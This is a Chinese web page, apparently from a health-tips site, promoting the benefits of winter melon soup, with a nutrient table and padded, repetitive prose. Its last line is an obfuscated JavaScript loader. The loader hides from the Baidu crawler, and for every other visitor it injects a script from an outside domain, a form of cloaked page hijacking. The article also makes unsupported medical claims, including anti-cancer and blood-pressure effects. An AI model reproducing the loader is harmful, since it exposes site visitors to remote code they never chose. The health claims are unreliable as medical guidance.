当前位置:首页 > 饮食 > 食物营养 > 正文

冬瓜汤做饭的好处是什么

2017-07-07 12:29:28  来源:360常识网   热度:
导语:冬瓜汤其实自古以来的话,都是很好吃的食物的了。而且往往是需要用新鲜的冬瓜为主要食材的家常汤菜的了。这时候的话,吃起来的时候,往往感

冬瓜汤其实自古以来的话,都是很好吃的食物的了。而且往往是需要用新鲜的冬瓜为主要食材的家常汤菜的了。这时候的话,吃起来的时候,往往感觉到冬瓜软烂的好处,甚至还具备有汤味清香的好处的了。当然了,冬瓜的话也是一种美容养颜的好处,具备有很好的营养价值丰富。冬瓜汤做饭的好处是什么?

1. 利尿消肿

冬瓜汤冬瓜含维生素C较多,且钾盐含量高,钠盐含量较低,高血压、肾脏病、浮肿病等患者食之,可达到消肿而不伤正气的作用。[3]

2. 减肥

冬瓜中所含的丙醇二酸,能有效地抑制糖类转化为脂肪,加之冬瓜本身不含脂肪,热量不高,对于防止人体发胖具有重要意义,还可以有助于体形健美。

3. 清热解暑

冬瓜性寒味甘,清热生津,僻暑除烦,在夏日服食尤为适宜。

冬瓜味甘、淡、性凉,入肺、大肠、小肠、膀胱经。

有润肺生津,化痰止渴,利尿消肿,清热祛暑,解毒排脓。

可用于暑热口渴、痰热咳喘、水肿、脚气、胀满、消渴、痤疮、面斑、脱肛、痔疮等,还能解鱼、酒毒。

冬瓜皮以利尿见长;

冬瓜子以健脾养颜、止咳化痰见长。

3 食用指南

营养成分

热量:47.05大卡

冬瓜汤胡萝卜素:334.2微克

钾:257.81毫克

钙:71.59毫克

维生素C:57.84毫克

维生素A:54.67微克

磷:40.76毫克

叶酸:28.2微克

镁:27.77毫克

钠:9.79毫克

碳水化合物:8.96克

膳食纤维:2.48克

脂肪:1.72克

蛋白质:1.41克

烟酸:1.09毫克

铁:0.95毫克

维生素E:0.75毫克

硒:0.72微克

锌:0.27毫克

铜:0.24毫克

锰:0.15毫克

碘:0.12微克

维生素B6:0.06毫克

维生素B2:0.05毫克

维生素B1:0.03毫克

营养功效

减肥降脂 7%具有改善血糖水平、降低体内胆固醇、降血脂、防止动脉硬化等作用。冬瓜中含有丙醇二酸,控制体内糖类转化为脂肪,

防止脂肪堆积,防止高血压,减肥有良好的功效。 护肾 清热化痰 防癌抗癌 润肤美容[1]

温馨提醒:冬瓜很好吃,而且往往具有减肥降脂的好处的了。如果有高胆固醇的问题的时候,那么其实的话,也是可以进一步去降低体内胆固醇的了。当然了还有一些降血脂的好处,可以进一步去防止动脉硬化等作用

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}